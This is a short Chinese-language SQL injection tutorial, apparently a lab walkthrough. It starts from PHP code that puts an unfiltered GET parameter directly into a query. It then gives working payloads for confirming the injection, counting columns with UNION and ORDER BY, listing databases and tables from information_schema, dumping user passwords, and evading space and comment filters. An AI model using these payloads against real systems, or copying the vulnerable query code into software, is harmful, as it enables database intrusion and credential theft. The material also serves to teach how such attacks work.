1、无过滤后台代码:
$sql="SELECT * FROM user WHERE username = '"; $sql.=$_GET["name"]."'"; $result= mysql_query($sql);
正常提交参数name=root
闭合单引号。改变sql查询语句,测试是否存在注入漏洞,and ‘1’=‘1 回显正常,and ’1‘=’2 没有回显,确定存在漏洞
构造之后的sql被拼接为 SELECT * FROM user WHERE username = 'root' and '1'='1'
也可以写成这样,把未闭合的单引号注释掉。。。注释掉
发现注入点之后的利用:
获取目标列数。
SQL UNION 操作符
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。
SQL UNION 语法
SELECT column_name(s) FROM table_name1 UNION SELECT column_name(s) FROM table_name2
通过使用union语句判断出table1的列数,每次在select之后添加一个null,null可以代表任何类型,直到满足列数相同,回显正常。
如下图,一共有5个null,说明table1有5列。
查询列数的另一种方法:
ORDER BY 语句
ORDER BY 语句用于根据指定的列对结果集进行排序。
ORDER BY 语句默认按照升序对记录进行排序。
如果您希望按照降序对记录进行排序,可以使用 DESC 关键字。
order by 5 以第五列的结果进行排序,如果order by 后面的数字大于实际列数,回显错误。
如下图得到table1的列数为5,如果输入order by 6 则得不到正确的回显。
得到正确的列数之后,获取每列的数据类型:
将null替换为字符串或其它类型数据,可以正常回显即为数据类型相同
获取数据库名称:
SELECT * FROM user WHERE username = 'root' union select TABLE_SCHEMA,null,null,null,null from information_schema.TABLES --+
TABLE_SCHEMA是数据库名,通过该语句获取所有数据库名称。
获取表名称:
SELECT * FROM user WHERE username = 'root' union select TABLE_SCHEMA,TABLE_NAME,null,null,null from information_schema.TABLES --+
TABLE_NAME是表名称
获取users表所有列名:
通过列名获取数据:
id,name,passwd,完爆
对于一些过滤掉空格回车制表符等正则代码,用%a0或/**/代替空格,%23代替注释#和--+,如果没问题剩下的套路都一样